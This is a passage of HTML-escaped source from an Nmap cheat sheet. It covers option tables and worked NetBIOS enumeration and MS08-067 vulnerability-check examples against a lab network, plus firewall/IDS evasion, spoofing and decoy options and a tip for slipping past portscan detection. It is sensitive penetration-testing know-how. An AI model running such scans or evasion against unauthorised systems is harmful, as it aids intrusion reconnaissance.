        &lt;p&gt;&lt;code&gt;--script=&quot;Lua scripts&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;&quot;Lua scripts&quot; is a comma separated list of
           directories, script-files or script-categories&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--script-args=n1=v1,[n2=v2,...]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;provide arguments to scripts&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-script-args-file=filename&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;provide NSE script args in a file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--script-trace&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show all data sent and received&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--script-updatedb&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Update script database&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--script-help=&quot;Lua scripts&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show help about scripts&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;os-detection&quot;&gt;OS Detection&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-O&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Enable OS Detection&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--osscan-limit&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Limit OS detection to promising targets&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--osscan-guess&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Guess OS more aggressively&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;timing-and-performance&quot;&gt;Timing and Performance&lt;/h3&gt;

&lt;p&gt;Options which take TIME are in seconds, or append &apos;ms&apos; (milliseconds),
  &apos;s&apos; (seconds), &apos;m&apos; (minutes), or &apos;h&apos; (hours) to the value (e.g. 30m).&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-T 0-5&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Set timing template - higher is faster (less accurate)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--min-hostgroup SIZE &lt;br /&gt;--max-hostgroup SIZE&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Parallel host scan group sizes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--min-parallelism NUMPROBES &lt;br /&gt;--max-parallelism NUMPROBES&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Probe parallelization&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--min-rtt-timeout TIME&lt;br /&gt;--max-rtt-timeout TIME&lt;br /&gt;--initial-rtt-timeout TIME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Specifies probe round trip time&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--max-retries TRIES&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Caps number of port scan probe retransmissions&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--host-timeout TIME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Give up on target after this long&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--scan-delay TIME &lt;br /&gt;--max-scan-delay TIME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Adjust delay between probes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--min-rate NUMBER&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Send packets no slower than NUMBER per second&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--max-rate NUMBER&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Send packets no faster than NUMBER per second&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;firewalls-ids-evasion-and-spoofing&quot;&gt;Firewalls IDS Evasion and Spoofing&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-f; --mtu VALUE&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Fragment packets (optionally w/given MTU)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-D decoy1,decoy2,ME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Cloak a scan with decoys&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-S IP-ADDRESS&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Spoof source address&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-e IFACE&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Use specified interface&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-g PORTNUM&lt;br /&gt;--source-port PORTNUM&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Use given port number&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--proxies url1,[url2],...&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Relay connections through HTTP / SOCKS4 proxies&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--data-length NUM&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Append random data to sent packets&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--ip-options OPTIONS&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Send packets with specified ip options&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--ttl VALUE&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Set IP time to live field&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--spoof-mac ADDR/PREFIX/VENDOR&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Spoof Nmap MAC address&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--badsum&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Send packets with a bogus TCP/UDP/SCTP checksum&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-scan-output-file-options&quot;&gt;Nmap Scan Output File Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-oN&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Output Normal&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-oX&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Output to XML&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-oS&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Script Kiddie / 1337 speak... sigh&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-oG&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Output greppable - easy to grep nmap output&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-oA BASENAME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Output in the three major formats at once&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Increase verbosity level use -vv or more for greater effect&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-d&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Increase debugging level use -dd or more for greater effect&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--reason&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Display the reason a port is in a particular state&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--open&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Only show open or possibly open ports&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--packet-trace&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show all packets sent / received&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--iflist&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Print host interfaces and routes for debugging&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--log-errors&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Log errors/warnings to the normal-format output file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--append-output&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Append to rather than clobber specified output files&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--resume FILENAME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Resume an aborted scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--stylesheet PATH/URL&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;XSL stylesheet to transform XML output to HTML&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--webxml&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Reference stylesheet from Nmap.Org for more portable XML&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
    &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--no-stylesheet&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Prevent associating of XSL stylesheet w/XML output&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;misc-nmap-options&quot;&gt;Misc Nmap Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-6&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Enable IPv6 scanning&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Enable OS detection, version detection, script scanning, and traceroute&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--datedir DIRNAME&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Specify custom Nmap data file location&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--send-eth&lt;br /&gt;--send-ip&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Send using raw ethernet frames or IP packets&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--privileged&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Assume that the user is fully privileged&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--unprivileged&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Assume the user lacks raw socket privileges&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-V&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show nmap version number&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-h&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show nmap help screen&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;nmap-enumeration-command-examples&quot;&gt;Nmap Enumeration Command Examples&lt;/h2&gt;

&lt;p&gt;The following are real world examples of Nmap enumeration.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-netbios&quot;&gt;Enumerating Netbios&lt;/h3&gt;

&lt;p&gt;The following example enumerates Netbios on the target networks, the same process can be applied to other services by modifying ports / NSE scripts.&lt;/p&gt;

&lt;p&gt;Detect all exposed Netbios servers on the subnet.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Nmap find exposed Netbios servers&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap -sV -v -p 139,445 10.0.1.0/24&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-11 21:26 GMT&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for nas.decepticons 10.0.1.12&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.014s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT        STATE     SERVICE         VERSION&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;139/tcp     open      netbios-ssn     Samba smbd 3.X (workgroup: MEGATRON)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;445/tcp     open      netbios-ssn     Samba smbd 3.X (workgroup: MEGATRON)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 256 IP addresses (1 hosts up) scanned in 28.74 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h3 id=&quot;nmap-find-netbios-name&quot;&gt;Nmap find Netbios name.&lt;/h3&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Nmap find exposed Netbios servers&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap -sU --script nbstat.nse -p 137 10.0.1.12&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-11 21:26 GMT&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for nas.decepticons 10.0.1.12&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.014s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT        STATE     SERVICE         VERSION&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;137/udp open  netbios-ns&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host script results:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_nbstat: NetBIOS name: STARSCREAM, NetBIOS user: unknown, NetBIOS MAC: unknown (unknown)
&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 256 IP addresses (1 hosts up) scanned in 28.74 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h3 id=&quot;nmap-netbios-ms08-067&quot;&gt;Nmap Netbios MS08-067&lt;/h3&gt;

&lt;p&gt;How to scan a target and identify if it is vulnerable to MS08-067&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Nmap check MS08-067&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445&lt;/span&gt;
          &lt;span&gt;10.0.0.1&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for ie6winxp.decepticons (10.0.1.1)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.00026s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT    STATE SERVICE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;445/tcp open  microsoft-ds&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host script results:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| smb-check-vulns:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   MS08-067: VULNERABLE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   Conficker: Likely CLEAN&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   regsvc DoS: NOT VULNERABLE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;The information gathered during the enumeration indicates the target is vulnerable to MS08-067, exploitation will confirm if it’s vulnerable to MS08-067.&lt;/p&gt;

&lt;h2 id=&quot;nmap-scan-tuning--optimisation&quot;&gt;Nmap Scan Tuning &amp;amp; Optimisation&lt;/h2&gt;

&lt;h3 id=&quot;nmap-rate&quot;&gt;Nmap Rate&lt;/h3&gt;

&lt;p&gt;To speed up your scan increase the rate, be aware that setting a high rate value will result in a less accurate scan.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--max-rate&lt;/span&gt; 
&lt;span class=&quot;nt&quot;&gt;--min-rate&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-parallelism&quot;&gt;Nmap Parallelism&lt;/h3&gt;

&lt;p&gt;The maximum or minimum amount of parallel tasks scanned at the same time (in parallel).&lt;/p&gt;

&lt;p&gt;TIP: If you have an basic IDS / portscan detection blocking your scans you could lower the –min-parallelism in an attempt to reduce the number of concurrent connections&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--min-parallelism&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;--max-parallelism&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-host-group-sizes&quot;&gt;Nmap Host Group Sizes&lt;/h3&gt;

&lt;p&gt;The number of hosts scanned at the same time, Note: if you are writing output to a file e.g., -oA you will need to wait for the host group to complete scanning before the nmap output will be written to the file. Therefore if you get a lagging host you will may end up waiting a while for the output file, which brings us on to… host timeout.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--min-hostgroup&lt;/span&gt; 
&lt;span class=&quot;nt&quot;&gt;--max-hostgroup&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-host-timeout&quot;&gt;Nmap Host Timeout&lt;/h3&gt;

&lt;p&gt;Nmap allows you to specify the timeout, which is the length of time it waits before giving up on the target. Be careful setting this super low, as you may end up with inaccurate results.&lt;/p&gt;

&lt;p&gt;The following example would giveup after 50 seconds.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--host-timeout&lt;/span&gt; 50 &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-scan-delay&quot;&gt;Nmap Scan Delay&lt;/h3&gt;

